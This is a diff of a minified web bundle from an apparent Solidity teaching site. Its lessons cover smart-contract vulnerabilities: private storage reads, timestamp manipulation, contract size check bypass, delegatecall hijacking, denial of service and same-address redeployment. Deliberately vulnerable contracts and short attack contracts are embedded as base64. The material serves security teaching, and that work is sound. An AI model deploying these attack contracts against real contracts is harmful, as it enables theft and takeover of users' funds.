dW1zW2ldOwogICAgICAgICAgICBpZiAobnVtICUgMiA9PSAwICYmIG51bSA8IDk5KSB7CiAgICAgICAgICAgICAgICBfdG90YWwgKz0gbnVtOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgICAgICArK2k7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHRvdGFsID0gX3RvdGFsOwogICAgfQp9Cg=="}],UZ=`

                                  Some gas saving techniques.

                                  • Replacing memory with calldata
                                  • Loading state variable to memory
                                  • @@ -9240,7 +9612,7 @@ assertion probably means that there is a bug. total = _total; } } -`,M0=({prev:s,next:a})=>r.jsx(A,{version:v0,title:R0,description:N0,cyfrinLink:H0,html:K0,prev:s,next:a,codes:F0}),S0="0.8.26",x0="Accessing Private Data",J0="An example of accessing private data from a Solidity smart contract",z0="",D0=[{fileName:"Vault.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8qCk5vdGU6IGNhbm5vdCB1c2Ugd2ViMyBvbiBKVk0sIHNvIHVzZSB0aGUgY29udHJhY3QgZGVwbG95ZWQgb24gR29lcmxpCk5vdGU6IGJyb3dzZXIgV2ViMyBpcyBvbGQgc28gdXNlIFdlYjMgZnJvbSB0cnVmZmxlIGNvbnNvbGUKCkNvbnRyYWN0IGRlcGxveWVkIG9uIEdvZXJsaQoweDUzNEU0Q2UwZmZGNzc5NTEzNzkzY2ZkNzAzMDhBRjE5NTgyN0JEMzEKKi8KCi8qCiMgU3RvcmFnZQotIDIgKiogMjU2IHNsb3RzCi0gMzIgYnl0ZXMgZm9yIGVhY2ggc2xvdAotIGRhdGEgaXMgc3RvcmVkIHNlcXVlbnRpYWxseSBpbiB0aGUgb3JkZXIgb2YgZGVjbGFyYXRpb24KLSBzdG9yYWdlIGlzIG9wdGltaXplZCB0byBzYXZlIHNwYWNlLiBJZiBuZWlnaGJvcmluZyB2YXJpYWJsZXMgZml0IGluIGEgc2luZ2xlCiAgMzIgYnl0ZXMsIHRoZW4gdGhleSBhcmUgcGFja2VkIGludG8g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hiOTk3ZWNlYTI1YzEwNDNkYTBjMzY2ODEyYjgyOCIsIGNvbnNvbGUubG9nKQp3ZWIzLmV0aC5nZXRTdG9yYWdlQXQoIjB4NTM0RTRDZTBmZkY3Nzk1MTM3OTNjZmQ3MDMwOEFGMTk1ODI3QkQzMSIsICIweGIzOTIyMWFjZTA1MzQ2NWVjMzQ1M2NlMmIzNjQzMGJkMTM4Yjk5N2VjZWEyNWMxMDQzZGEwYzM2NjgxMmI4MjkiLCBjb25zb2xlLmxvZykKKi8K"}],E0=`

                                    Vulnerability

                                    +`,LZ=({prev:s,next:a})=>r.jsx(A,{version:zZ,title:DZ,description:EZ,cyfrinLink:QZ,html:UZ,prev:s,next:a,codes:TZ}),_Z="0.8.26",OZ="Accessing Private Data",PZ="An example of accessing private data from a Solidity smart contract",$Z="",qZ=[{fileName:"Vault.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8qCk5vdGU6IGNhbm5vdCB1c2Ugd2ViMyBvbiBKVk0sIHNvIHVzZSB0aGUgY29udHJhY3QgZGVwbG95ZWQgb24gR29lcmxpCk5vdGU6IGJyb3dzZXIgV2ViMyBpcyBvbGQgc28gdXNlIFdlYjMgZnJvbSB0cnVmZmxlIGNvbnNvbGUKCkNvbnRyYWN0IGRlcGxveWVkIG9uIEdvZXJsaQoweDUzNEU0Q2UwZmZGNzc5NTEzNzkzY2ZkNzAzMDhBRjE5NTgyN0JEMzEKKi8KCi8qCiMgU3RvcmFnZQotIDIgKiogMjU2IHNsb3RzCi0gMzIgYnl0ZXMgZm9yIGVhY2ggc2xvdAotIGRhdGEgaXMgc3RvcmVkIHNlcXVlbnRpYWxseSBpbiB0aGUgb3JkZXIgb2YgZGVjbGFyYXRpb24KLSBzdG9yYWdlIGlzIG9wdGltaXplZCB0byBzYXZlIHNwYWNlLiBJZiBuZWlnaGJvcmluZyB2YXJpYWJsZXMgZml0IGluIGE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DMxIiwgIjB4YjM5MjIxYWNlMDUzNDY1ZWMzNDUzY2UyYjM2NDMwYmQxMzhiOTk3ZWNlYTI1YzEwNDNkYTBjMzY2ODEyYjgyOCIsIGNvbnNvbGUubG9nKQp3ZWIzLmV0aC5nZXRTdG9yYWdlQXQoIjB4NTM0RTRDZTBmZkY3Nzk1MTM3OTNjZmQ3MDMwOEFGMTk1ODI3QkQzMSIsICIweGIzOTIyMWFjZTA1MzQ2NWVjMzQ1M2NlMmIzNjQzMGJkMTM4Yjk5N2VjZWEyNWMxMDQzZGEwYzM2NjgxMmI4MjkiLCBjb25zb2xlLmxvZykKKi8K"}],sW=`

                                    Vulnerability

                                    All data on a smart contract can be read.

                                    Let's see how we can read private data. In the process you will learn how Solidity stores state variables.

                                    // SPDX-License-Identifier: MIT
                                    @@ -9358,7 +9730,7 @@ web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", "0xb39221ace
                                     
                                    • Don't store sensitive information on the blockchain.
                                    -`,Q0=({prev:s,next:a})=>r.jsx(A,{version:S0,title:x0,description:J0,cyfrinLink:z0,html:E0,prev:s,next:a,codes:D0}),T0="0.8.26",U0="Block Timestamp Manipulation",_0="An example of a Solidity contract vulnerable to block timestamp manipulation",L0="",O0=[{fileName:"BlockTimestamp.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8qClJvdWxldHRlIGlzIGEgZ2FtZSB3aGVyZSB5b3UgY2FuIHdpbiBhbGwgb2YgdGhlIEV0aGVyIGluIHRoZSBjb250cmFjdAppZiB5b3UgY2FuIHN1Ym1pdCBhIHRyYW5zYWN0aW9uIGF0IGEgc3BlY2lmaWMgdGltaW5nLgpBIHBsYXllciBuZWVkcyB0byBzZW5kIDEwIEV0aGVyIGFuZCB3aW5zIGlmIHRoZSBibG9jay50aW1lc3RhbXAgJSAxNSA9PSAwLgoqLwoKLyoKMS4gRGVwbG95IFJvdWxldHRlIHdpdGggMTAgRXRoZXIKMi4gRXZlIHJ1bnMgYSBwb3dlcmZ1bCBtaW5lciB0aGF0IGNhbiBtYW5pcHVsYXRlIHRoZSBibG9jayB0aW1lc3RhbXAuCjMuIEV2ZSBzZXRzIHRoZSBibG9jay50aW1lc3RhbXAgdG8gYSBudW1iZXIgaW4gdGhlIGZ1dHVyZSB0aGF0IGlzIGRpdmlzaWJsZSBieQogICAxNSBhbmQgZmluZHMgdGhlIHRhcmdldCBibG9jayBoYXNoLgo0LiBFdmUncyBibG9jayBpcyBzdWNjZXNzZnVsbHkgaW5jbHVkZWQgaW50byB0aGUgY2hhaW4sIEV2ZSB3aW5zIHRoZQogICBSb3VsZXR0ZSBnYW1lLgoqLwoKY29udHJhY3QgUm91bGV0dGUgewogICAgdWludDI1NiBwdWJsaWMgcGFzdEJsb2NrVGltZTsKCiAgICBjb25zdHJ1Y3RvcigpIHBheWFibGUge30KCiAgICBmdW5jdGlvbiBzcGluKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgcmVxdWlyZShtc2cudmFsdWUgPT0gMTAgZXRoZXIpOyAvLyBtdXN0IHNlbmQgMTAgZXRoZXIgdG8gcGxheQogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wICE9IHBhc3RCbG9ja1RpbWUpOyAvLyBvbmx5IDEgdHJhbnNhY3Rpb24gcGVyIGJsb2NrCgogICAgICAgIHBhc3RCbG9ja1RpbWUgPSBibG9jay50aW1lc3RhbXA7CgogICAgICAgIGlmIChibG9jay50aW1lc3RhbXAgJSAxNSA9PSAwKSB7CiAgICAgICAgICAgIChib29sIHNlbnQsKSA9IG1zZy5zZW5kZXIuY2FsbHt2YWx1ZTogYWRkcmVzcyh0aGlzKS5iYWxhbmNlfSgiIik7CiAgICAgICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICAgICAgfQogICAgfQp9Cg=="}],P0=`

                                    Vulnerability

                                    +`,aW=({prev:s,next:a})=>r.jsx(A,{version:_Z,title:OZ,description:PZ,cyfrinLink:$Z,html:sW,prev:s,next:a,codes:qZ}),nW="0.8.26",lW="Block Timestamp Manipulation",pW="An example of a Solidity contract vulnerable to block timestamp manipulation",eW="",cW=[{fileName:"BlockTimestamp.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8qClJvdWxldHRlIGlzIGEgZ2FtZSB3aGVyZSB5b3UgY2FuIHdpbiBhbGwgb2YgdGhlIEV0aGVyIGluIHRoZSBjb250cmFjdAppZiB5b3UgY2FuIHN1Ym1pdCBhIHRyYW5zYWN0aW9uIGF0IGEgc3BlY2lmaWMgdGltaW5nLgpBIHBsYXllciBuZWVkcyB0byBzZW5kIDEwIEV0aGVyIGFuZCB3aW5zIGlmIHRoZSBibG9jay50aW1lc3RhbXAgJSAxNSA9PSAwLgoqLwoKLyoKMS4gRGVwbG95IFJvdWxldHRlIHdpdGggMTAgRXRoZXIKMi4gRXZlIHJ1bnMgYSBwb3dlcmZ1bCBtaW5lciB0aGF0IGNhbiBtYW5pcHVsYXRlIHRoZSBibG9jayB0aW1lc3RhbXAuCjMuIEV2ZSBzZXRzIHRoZSBibG9jay50aW1lc3RhbXAgdG8gYSBudW1iZXIgaW4gdGhlIGZ1dHVyZSB0aGF0IGlzIGRpdmlzaWJsZSBieQogICAxNSBhbmQgZmluZHMgdGhlIHRhcmdldCBibG9jayBoYXNoLgo0LiBFdmUncyBibG9jayBpcyBzdWNjZXNzZnVsbHkgaW5jbHVkZWQgaW50byB0aGUgY2hhaW4sIEV2ZSB3aW5zIHRoZQogICBSb3VsZXR0ZSBnYW1lLgoqLwoKY29udHJhY3QgUm91bGV0dGUgewogICAgdWludDI1NiBwdWJsaWMgcGFzdEJsb2NrVGltZTsKCiAgICBjb25zdHJ1Y3RvcigpIHBheWFibGUge30KCiAgICBmdW5jdGlvbiBzcGluKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgcmVxdWlyZShtc2cudmFsdWUgPT0gMTAgZXRoZXIpOyAvLyBtdXN0IHNlbmQgMTAgZXRoZXIgdG8gcGxheQogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wICE9IHBhc3RCbG9ja1RpbWUpOyAvLyBvbmx5IDEgdHJhbnNhY3Rpb24gcGVyIGJsb2NrCgogICAgICAgIHBhc3RCbG9ja1RpbWUgPSBibG9jay50aW1lc3RhbXA7CgogICAgICAgIGlmIChibG9jay50aW1lc3RhbXAgJSAxNSA9PSAwKSB7CiAgICAgICAgICAgIChib29sIHNlbnQsKSA9IG1zZy5zZW5kZXIuY2FsbHt2YWx1ZTogYWRkcmVzcyh0aGlzKS5iYWxhbmNlfSgiIik7CiAgICAgICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICAgICAgfQogICAgfQp9Cg=="}],tW=`

                                    Vulnerability

                                    block.timestamp can be manipulated by miners with the following constraints

                                    • it cannot be stamped with an earlier time than its parent
                                    • @@ -9403,7 +9775,7 @@ A player needs to send 10 Ether and wins if the block.timestamp % 15 == 0.
                                      • Don't use block.timestamp for a source of entropy and random number
                                      -`,$0=({prev:s,next:a})=>r.jsx(A,{version:T0,title:U0,description:_0,cyfrinLink:L0,html:P0,prev:s,next:a,codes:O0}),q0="0.8.26",sZ="Bypass Contract Size Check",aZ="An example of bypassing contract size check",nZ="",lZ=[{fileName:"ContractSize.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFRhcmdldCB7CiAgICBmdW5jdGlvbiBpc0NvbnRyYWN0KGFkZHJlc3MgYWNjb3VudCkgcHVibGljIHZpZXcgcmV0dXJucyAoYm9vbCkgewogICAgICAgIC8vIFRoaXMgbWV0aG9kIHJlbGllcyBvbi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dpbGwgYnlwYXNzIHRoZSBpc0NvbnRyYWN0KCkgY2hlY2sKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX3RhcmdldCkgewogICAgICAgIGlzQ29udHJhY3QgPSBUYXJnZXQoX3RhcmdldCkuaXNDb250cmFjdChhZGRyZXNzKHRoaXMpKTsKICAgICAgICBhZGRyID0gYWRkcmVzcyh0aGlzKTsKICAgICAgICAvLyBUaGlzIHdpbGwgd29yawogICAgICAgIFRhcmdldChfdGFyZ2V0KS5wcm90ZWN0ZWQoKTsKICAgIH0KfQo="}],pZ=`

                                      Vulnerability

                                      +`,oW=({prev:s,next:a})=>r.jsx(A,{version:nW,title:lW,description:pW,cyfrinLink:eW,html:tW,prev:s,next:a,codes:cW}),rW="0.8.26",iW="Bypass Contract Size Check",gW="An example of bypassing contract size check",hW="",IW=[{fileName:"ContractSize.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFRhcmdldCB7CiAgICBmdW5jdGlvbiBpc0NvbnRyYWN0KGFkZHJlc3MgYWNjb3VudCkgcHVibGljIHZpZXcgcmV0dXJucyAoYm9vbCkgewogICAgICAgIC8vIFRoaXMgbWV0aG9kIHJlbGllcyBvbiBleHRjb2Rlc2l6ZSwgd2hpY2ggcmV0dXJucyAwIGZvciBjb250cmFjdHMgaW4KICAgICAgICAvLyBjb25zdHJ1Y3Rpb24sIHNpbmNlIHRoZSBjb2RlIGlzIG9ubHkgc3RvcmVkIGF0IHRoZSBlbmQgb2YgdGhlCiAgICAgICAgLy8gY29uc3RydWN0b3IgZXhlY3V0aW9uLgogICAgICAgIHVpbnQyNTYgc2l6ZTsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIHNpemUgOj0gZXh0Y29kZXNpemUoYWNjb3VudCkKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHNpemUgPiAwOwogICAgfQoKICAgIGJvb2wgcHVibGljIHB3bmVkID0gZmFsc2U7CgogICAgZnVuY3Rpb24gcHJvdGVjdGVkKCkgZXh0ZXJuYWwgewogICAgICAgIHJlcXVpcmUoIWlzQ29udHJhY3QobXNnLnNlbmRlciksICJubyBjb250cmFjdCBhbGxvd2VkIik7CiAgICAgICAgcHduZWQgPSB0cnVlOwogICAgfQp9Cgpjb250cmFjdCBGYWlsZWRBdHRhY2sgewogICAgLy8gQXR0ZW1wdGluZyB0byBjYWxsIFRhcmdldC5wcm90ZWN0ZWQgd2lsbCBmYWlsLAogICAgLy8gVGFyZ2V0IGJsb2NrIGNhbGxzIGZyb20gY29udHJhY3QKICAgIGZ1bmN0aW9uIHB3bihhZGRyZXNzIF90YXJnZXQpIGV4dGVybmFsIHsKICAgICAgICAvLyBUaGlzIHdpbGwgZmFpbAogICAgICAgIFRhcmdldChfdGFyZ2V0KS5wcm90ZWN0ZWQoKTsKICAgIH0KfQoKY29udHJhY3QgSGFjayB7CiAgICBib29sIHB1YmxpYyBpc0NvbnRyYWN0OwogICAgYWRkcmVzcyBwdWJsaWMgYWRkcjsKCiAgICAvLyBXaGVuIGNvbnRyYWN0IGlzIGJlaW5nIGNyZWF0ZWQsIGNvZGUgc2l6ZSAoZXh0Y29kZXNpemUpIGlzIDAuCiAgICAvLyBUaGlzIHdpbGwgYnlwYXNzIHRoZSBpc0NvbnRyYWN0KCkgY2hlY2sKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX3RhcmdldCkgewogICAgICAgIGlzQ29udHJhY3QgPSBUYXJnZXQoX3RhcmdldCkuaXNDb250cmFjdChhZGRyZXNzKHRoaXMpKTsKICAgICAgICBhZGRyID0gYWRkcmVzcyh0aGlzKTsKICAgICAgICAvLyBUaGlzIHdpbGwgd29yawogICAgICAgIFRhcmdldChfdGFyZ2V0KS5wcm90ZWN0ZWQoKTsKICAgIH0KfQo="}],dW=`

                                      Vulnerability

                                      If an address is a contract then the size of code stored at the address will be greater than 0 right?

                                      Let's see how we can create a contract with code size returned by extcodesize equal to 0.

                                      // SPDX-License-Identifier: MIT
                                      @@ -9451,7 +9823,7 @@ A player needs to send 10 Ether and wins if the block.timestamp % 15 == 0.
                                               Target(_target).protected();
                                           }
                                       }
                                      -
                                      `,eZ=({prev:s,next:a})=>r.jsx(A,{version:q0,title:sZ,description:aZ,cyfrinLink:nZ,html:pZ,prev:s,next:a,codes:lZ}),cZ="0.8.26",tZ="Delegatecall",oZ="An example of exploits using delegatecall in Solidity",rZ="",iZ=[{fileName:"Delegatecall_1.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8qCkhhY2tNZSBpcyBhIGNvbnRyYWN0IHRoYXQgdXNlcyBkZWxlZ2F0ZWNhbGwgdG8gZXhlY3V0ZSBjb2RlLgpJdCBpcyBub3Qgb2J2aW91cyB0aGF0IHRoZSBvd25lciBvZiBIYWNrTWUgY2FuIGJlIGNoYW5nZWQgc2luY2UgdGhlcmUgaXMgbm8KZnVuY3Rpb24gaW5zaWRlIEhhY2tNZSB0byBkbyBzby4gSG93ZXZlciBhbiBhdHRhY2tlciBjYW4gaGlqYWNrIHRoZQpjb250cmFjdCBieSBleHBsb2l0aW5nIGRlbGVnYXRlY2FsbC4gTGV0J3Mgc2VlIGhvdy4KCjEuIEFsaWNlIGRlcGxveXMgTGliCjIuIEFsaWNlIGRlcGxveXMgSGFja01lIHdpdGggYWRkcmVzcyBvZiBMaWIKMy4gRXZlIGRlcGxveXMgQXR0YWNrIHdpdGggYWRkcmVzcyBvZiBIYWNrTWUKNC4gRXZlIGNhbGxzIEF0dGFjay5hdHRhY2soKQo1LiBBdHRhY2sgaXMgbm93IHRoZSBvd25lciBvZiBIYWNrTWUKCldoYXQgaGFwcGVuZWQ/CkV2ZSBjYWxsZWQgQXR0YWNrLmF0dGFjaygpLgpBdHRhY2sgY2FsbGVkIHRoZSBmYWxsYmFjayBmdW5jdGlvbiBvZiBI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AgIHVpbnQyNTYgcHVibGljIHNvbWVOdW1iZXI7CgogICAgSGFja01lIHB1YmxpYyBoYWNrTWU7CgogICAgY29uc3RydWN0b3IoSGFja01lIF9oYWNrTWUpIHsKICAgICAgICBoYWNrTWUgPSBIYWNrTWUoX2hhY2tNZSk7CiAgICB9CgogICAgZnVuY3Rpb24gYXR0YWNrKCkgcHVibGljIHsKICAgICAgICAvLyBvdmVycmlkZSBhZGRyZXNzIG9mIGxpYgogICAgICAgIGhhY2tNZS5kb1NvbWV0aGluZyh1aW50MjU2KHVpbnQxNjAoYWRkcmVzcyh0aGlzKSkpKTsKICAgICAgICAvLyBwYXNzIGFueSBudW1iZXIgYXMgaW5wdXQsIHRoZSBmdW5jdGlvbiBkb1NvbWV0aGluZygpIGJlbG93IHdpbGwKICAgICAgICAvLyBiZSBjYWxsZWQKICAgICAgICBoYWNrTWUuZG9Tb21ldGhpbmcoMSk7CiAgICB9CgogICAgLy8gZnVuY3Rpb24gc2lnbmF0dXJlIG11c3QgbWF0Y2ggSGFja01lLmRvU29tZXRoaW5nKCkKICAgIGZ1bmN0aW9uIGRvU29tZXRoaW5nKHVpbnQyNTYgX251bSkgcHVibGljIHsKICAgICAgICBvd25lciA9IG1zZy5zZW5kZXI7CiAgICB9Cn0K"}],gZ=`

                                      Vulnerability

                                      +
                                    `,CW=({prev:s,next:a})=>r.jsx(A,{version:rW,title:iW,description:gW,cyfrinLink:hW,html:dW,prev:s,next:a,codes:IW}),jW="0.8.26",AW="Delegatecall",uW="An example of exploits using delegatecall in Solidity",yW="",mW=[{fileName:"Delegatecall_1.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8qCkhhY2tNZSBpcyBhIGNvbnRyYWN0IHRoYXQgdXNlcyBkZWxlZ2F0ZWNhbGwgdG8gZXhlY3V0ZSBjb2RlLgpJdCBpcyBub3Qgb2J2aW91cyB0aGF0IHRoZSBvd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9CgogICAgLy8gZnVuY3Rpb24gc2lnbmF0dXJlIG11c3QgbWF0Y2ggSGFja01lLmRvU29tZXRoaW5nKCkKICAgIGZ1bmN0aW9uIGRvU29tZXRoaW5nKHVpbnQyNTYgX251bSkgcHVibGljIHsKICAgICAgICBvd25lciA9IG1zZy5zZW5kZXI7CiAgICB9Cn0K"}],bW=`

                                    Vulnerability

                                    delegatecall is tricky to use and wrong usage or incorrect understanding can lead to devastating results.

                                    You must keep 2 things in mind when using delegatecall

                                    @@ -9597,7 +9969,7 @@ change the owner.
                                    • Use stateless Library
                                    -`,hZ=({prev:s,next:a})=>r.jsx(A,{version:cZ,title:tZ,description:oZ,cyfrinLink:rZ,html:gZ,prev:s,next:a,codes:iZ}),IZ="0.8.26",dZ="Denial of Service",CZ="An example of denial of service hack in Solidity",jZ="",AZ=[{fileName:"DenialOfService.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8qClRoZSBnb2FsIG9mIEtpbmdPZkV0aGVyIGlzIHRvIGJlY29tZSB0aGUga2luZyBieSBzZW5kaW5nIG1vcmUgRXRoZXIgdGhhbgp0aGUgcHJldmlvdXMga2luZy4gUHJldmlvdXMga2luZyB3aWxsIGJlIHJlZnVuZGVkIHdpdGggdGhlIGFtb3VudCBvZiBFdGhlcgpoZSBzZW50LgoqLwoKLyoKMS4gRGVwbG95IEtpbmdPZkV0aGVyCjIuIEFsaWNlIGJlY29tZXMgdGhlIGtpbmcgYnkgc2VuZGluZyAxIEV0aGVyIHRvIGNsYWltVGhyb25lKCkuCjIuIEJvYiBiZWNvbWVzIHRoZSBraW5nIGJ5IHNlbmRpbmcgMiBFdGhlciB0byBjbGFpbVRocm9uZSgpLgogICBBbGljZSByZWNlaXZlcyBhIHJlZnVuZCBvZiAxIEV0aGVyLgozLiBEZXBsb3kgQXR0YWNrIHdpdGggYWRkcmVzcyBvZiBLaW5nT2ZFdGhlci4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gICB9CgogICAgZnVuY3Rpb24gd2l0aGRyYXcoKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciAhPSBraW5nLCAiQ3VycmVudCBraW5nIGNhbm5vdCB3aXRoZHJhdyIpOwoKICAgICAgICB1aW50MjU2IGFtb3VudCA9IGJhbGFuY2VzW21zZy5zZW5kZXJdOwogICAgICAgIGJhbGFuY2VzW21zZy5zZW5kZXJdID0gMDsKCiAgICAgICAgKGJvb2wgc2VudCwpID0gbXNnLnNlbmRlci5jYWxse3ZhbHVlOiBhbW91bnR9KCIiKTsKICAgICAgICByZXF1aXJlKHNlbnQsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgfQp9Cg=="}],uZ=`

                                    Vulnerability

                                    +`,wW=({prev:s,next:a})=>r.jsx(A,{version:jW,title:AW,description:uW,cyfrinLink:yW,html:bW,prev:s,next:a,codes:mW}),kW="0.8.26",ZW="Denial of Service",WW="An example of denial of service hack in Solidity",GW="",BW=[{fileName:"DenialOfService.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8qClRoZSBnb2FsIG9mIEtpbmdPZkV0aGVyIGlzIHRvIGJlY29tZSB0aGUga2luZyBieSBzZW5kaW5nIG1vcmUgRXRoZXIgdGhhbgp0aGUgcHJldmlvdXMga2luZy4gUHJldmlvdXMga2luZyB3aWxsIGJlIHJlZnVuZGVkIHdpdGggdGhlIGFtb3VudCBvZiBFdGhlcgpoZSBzZW50LgoqLwoKLyoKMS4gRGVwbG95IEtpbmdPZkV0aGVyCjIuIEFsaWNlIGJlY29tZXMgdGhlIGtpbmcgYnkgc2VuZGluZyAxIEV0aGVyIHRvIGNsYWltVGhyb25lKCkuCjIuIEJvYiBiZWNvbWVzIHRoZSBraW5nIGJ5IHNlbmRpbmcgMiBFdGhlciB0byBjbGFpbVRocm9uZSgpLgogICBBbGljZSByZWNlaXZlcyBh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s9IGJhbGFuY2U7CgogICAgICAgIGJhbGFuY2UgPSBtc2cudmFsdWU7CiAgICAgICAga2luZyA9IG1zZy5zZW5kZXI7CiAgICB9CgogICAgZnVuY3Rpb24gd2l0aGRyYXcoKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciAhPSBraW5nLCAiQ3VycmVudCBraW5nIGNhbm5vdCB3aXRoZHJhdyIpOwoKICAgICAgICB1aW50MjU2IGFtb3VudCA9IGJhbGFuY2VzW21zZy5zZW5kZXJdOwogICAgICAgIGJhbGFuY2VzW21zZy5zZW5kZXJdID0gMDsKCiAgICAgICAgKGJvb2wgc2VudCwpID0gbXNnLnNlbmRlci5jYWxse3ZhbHVlOiBhbW91bnR9KCIiKTsKICAgICAgICByZXF1aXJlKHNlbnQsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgfQp9Cg=="}],fW=`

                                    Vulnerability

                                    There are many ways to attack a smart contract to make it unusable.

                                    One exploit we introduce here is denial of service by making the function to send Ether fail.

                                    // SPDX-License-Identifier: MIT
                                    @@ -9688,7 +10060,7 @@ Ether sent from KingOfEther before the new king is set.
                                             require(sent, "Failed to send Ether");
                                         }
                                     }
                                    -
                                    `,yZ=({prev:s,next:a})=>r.jsx(A,{version:IZ,title:dZ,description:CZ,cyfrinLink:jZ,html:uZ,prev:s,next:a,codes:AZ}),mZ="0.8.26",bZ="Deploy Different Contracts at the Same Address",wZ="An example of a Solidity contract vulnerable to deploy different contracts at the same address",kZ="",ZZ=[{fileName:"TornadoHack.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8qCkNhbGxlZCBieSBBbGljZQowLiBEZXBsb3kgREFPCgpDYWxsZWQgYnkgQXR0YWNrZXIKMS4gRGVwbG95IERlcGxveWVyRGVwbG95ZXIKMi4gQ2FsbCBEZXBsb3llckRlcGxveWVyLmRlcGxveSgpCjMuIENhbG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HJvdmVkIGJ5IERBTyA6KSIpOwogICAgICAgIC8vIEZvciBleGFtcGxlIC0gc2V0IERBTydzIG93bmVyIHRvIGF0dGFja2VyCiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQp9Cgpjb250cmFjdCBEZXBsb3llckRlcGxveWVyIHsKICAgIGV2ZW50IExvZyhhZGRyZXNzIGFkZHIpOwoKICAgIGZ1bmN0aW9uIGRlcGxveSgpIGV4dGVybmFsIHsKICAgICAgICBieXRlczMyIHNhbHQgPSBrZWNjYWsyNTYoYWJpLmVuY29kZSh1aW50MjU2KDEyMykpKTsKICAgICAgICBhZGRyZXNzIGFkZHIgPSBhZGRyZXNzKG5ldyBEZXBsb3llcntzYWx0OiBzYWx0fSgpKTsKICAgICAgICBlbWl0IExvZyhhZGRyKTsKICAgIH0KfQoKY29udHJhY3QgRGVwbG95ZXIgewogICAgZXZlbnQgTG9nKGFkZHJlc3MgYWRkcik7CgogICAgZnVuY3Rpb24gZGVwbG95UHJvcG9zYWwoKSBleHRlcm5hbCB7CiAgICAgICAgYWRkcmVzcyBhZGRyID0gYWRkcmVzcyhuZXcgUHJvcG9zYWwoKSk7CiAgICAgICAgZW1pdCBMb2coYWRkcik7CiAgICB9CgogICAgZnVuY3Rpb24gZGVwbG95QXR0YWNrKCkgZXh0ZXJuYWwgewogICAgICAgIGFkZHJlc3MgYWRkciA9IGFkZHJlc3MobmV3IEF0dGFjaygpKTsKICAgICAgICBlbWl0IExvZyhhZGRyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBraWxsKCkgZXh0ZXJuYWwgewogICAgICAgIHNlbGZkZXN0cnVjdChwYXlhYmxlKGFkZHJlc3MoMCkpKTsKICAgIH0KfQo="}],WZ=`

                                    Contract address deployed with create is computed in the following way.

                                    +`,VW=({prev:s,next:a})=>r.jsx(A,{version:kW,title:ZW,description:WW,cyfrinLink:GW,html:fW,prev:s,next:a,codes:BW}),YW="0.8.26",XW="Deploy Different Contracts at the Same Address",RW="An example of a Solidity contract vulnerable to deploy different contracts at the same 